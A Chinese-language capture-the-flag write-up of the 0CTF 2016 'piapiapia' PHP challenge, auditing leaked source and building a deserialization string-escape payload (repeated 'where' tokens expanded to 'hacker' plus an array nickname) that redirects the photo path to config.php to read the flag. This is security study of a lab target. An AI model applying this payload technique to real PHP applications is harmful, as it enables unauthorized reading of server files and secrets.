[0CTF 2016]piapiapia

打开环境是个登录框,尝试了一下sql注入,发现并无任何用处。
于是扫描目录,发现了个/www.zip。

开始代码审计:
在config.php中看到了flag,但是flag是不可见的。
profile.php:
反序列化unserialize()
读取文件**file_get_contents()**应该可以利用。记录一下
如果$profile[‘photo’]是config.php就可以读取到了

else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>

register.php页面和index.php页面作为注册登陆,没发现什么明显利用点。
在update.php页面中:

if($_SESSION['username'] == null) {die('Login First'); }
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}

首先通过SESSION验证登陆状态,然后根据正则表达式过滤传入的数据。
仔细观察,其中对nickname的验证与之前不同,此处通过strlen()验证了长度不能超过10
此处可以通过数组绕过限制。
在最后调用update_profile()时调用了**serialize()**函数,推测其可能存在反序列化漏洞,在class.php页面中查找update_profile()函数:

 public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);

其中filter()和update()函数

public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}
public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}

其基本逻辑为:

正则表达式过滤提交的参数
序列化变量$profile
将非法值替换为hacker

经过查询,可以使用反序列化字符串逃逸
首先在register.php页面随意注册一个用户:
成功登陆后,进入到update.php页面:
随便写数据 抓包
根据update.php将phone,email,nickname,phtot序列化了

<?php$profile['phone'] = '1111111111';$profile['email'] = '1111111111@qq.com';$profile['nickname'] = 'aaaaa';$profile['photo'] = 'upload/f3ccdd27d2000e3f9255a7e3e2c48800';var_dump(serialize($profile));
?>

序列化后

string(159) "a:4:{s:5:"phone";s:10:"1111111111";s:5:"email";s:17:"1111111111@qq.com";s:8:"nickname";s:5:"aaaaa";s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}"

要使photo的值为config.php
nickname前面s的值无法更改,所以在最后构造一个闭合,而且要使nickname为数组绕过长度的限制。

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');
数组即可绕过:
nickname[]=那么$profile就是这样了:
$profile = a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:17:"1111111111@q.com";s:8:"nickname";a:1:{i:0;s:5:"aaaaa"};s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

要让最后photo的值被丢弃,使执行的反序列化为**“;}s:5:“photo”;s:10:“config.php”;}**
若想拼接进反序列化字符串中,还需经过filter()函数过滤:
其中”;}s:5:“photo”;s:10:“config.php”;}长度为34,所以需要额外34位,所以在写入where时,被替换为hacker,字符串长度+1
将nickname修改为数组类型,并尝试构造payload:

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}$profile = a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:17:"1111111111@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}"};s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}



参考链接:
https://blog.csdn.net/zz_Caleb/article/details/96777110

本人菜鸟一枚,如果有什么错误的地方,还请大佬指出,共同进步!

BUCTF[0CTF 2016]piapiapia相关推荐

  1. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  2. BUU [0CTF 2016]piapiapia

    BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...

  3. [0CTF 2016]piapiapia php反序列化字符串逃逸

    一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...

  4. [0CTF 2016] piapiapia

    piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...

  5. [0CTF 2016]piapiapia -php序列化溢出

    题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...

  6. [0CTF 2016]piapiapia总结(PHP序列化长度变化导致尾部字符逃逸)

    这道题感觉很难,要是比赛中出这种题我肯定做不来,所以我耐着性子慢慢分析这道题,最后居然自己做了个七七八八,只剩下一点点就完全做出来了. 下面把我做这道题时的思路一步一步记录下来,希望能够彻底巩固. 一 ...

  7. [0CTF 2016]piapiapia(字符逃逸详解)

    目录 知识点 信息收集 尝试SQL注入 源码目录扫描 代码审计 payload生成 知识点 信息泄露 参数传递数组绕过字符串检测 反序列化字符逃逸 信息收集 收集到了一只超可爱的小喵 尝试SQL注入 ...

  8. [0CTF 2016]piapiapia 详细解题思路及做法

    前言 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 题目 进去是一个登陆界面,尝试sql注入,发 ...

  9. 审计练习5——[0CTF 2016]piapiapia

    平台:buuoj.cn 打开靶机如下: 弱密码,sql乱试一波没反应,注册个账号进去之后让我们更新信息 提交跳转到profile.php 扫一下网站目录.(我们在做题扫目录的时候经常会遇见429的情况 ...

最新文章

  1. JVM内存结构与GC
  2. linux centos7不能ssh免密登录自己的问题解决
  3. MATLAB中median函数的用法
  4. Android 使用webview遇到的问题及解决办法
  5. Airbnb基于Embedding技术的实时个性化推荐
  6. 如何给数组赋值java_java怎样给数组赋值
  7. MFC资源切换(AFX_MANAGE_STATE)简介
  8. 设计模式原则之四:迪米特法则
  9. 经验案例:当配置为共享/静态WEP加密时,客户端无法从DHCP获取IP地址
  10. Github上关于iOS的各种开源项目集合(强烈建议大家收藏,查看,总有一款你需要)
  11. 高中计算机学考操作excel,高中信息技术学业水平考试Word、Excel操作题考点总结...
  12. 路过图床插件,支持一键上传返回各类链接
  13. 手机如何把图片转Word文档?使用这种方法非常方便
  14. 与引导文件系统/vmfs/devices..的备用设备之间的连接已丢失,主机配置更改将不会保存到持久存储中...
  15. IC芯片验证 - 手把手教你搭建UVM验证环境
  16. BZOJ2900 好玩的数字游戏
  17. java小组口号,小组口号大全
  18. uniapp登录页面加入图片验证码
  19. 贝叶斯分析助你成为优秀的调参侠:自动化搜索物理模型的参数空间
  20. 推荐几个免费看动漫的网站

热门文章

  1. android 自定义通知栏raw声音不起作用,安卓版在线打包时,如何添加res/raw目录资源【小米推送自定义铃声】...
  2. Android直播实践
  3. AI上色对比人工调色 :结果令人难以置信
  4. Python求解线性代数方程组
  5. Qt 优化QTreeWidget的三态:勾选,未勾选,半勾选
  6. 985毕业,土木工程工作两年后转行Python,摸爬滚打三年目前年薪40K
  7. 关于VegaPrime的总结
  8. leetcode 403.青蛙过河 C,C++超详细解释
  9. PS2018使用过程中出现“要求96和8之间的整数”弹出报错解决办法。
  10. HttpClient远程接口调用-实名认证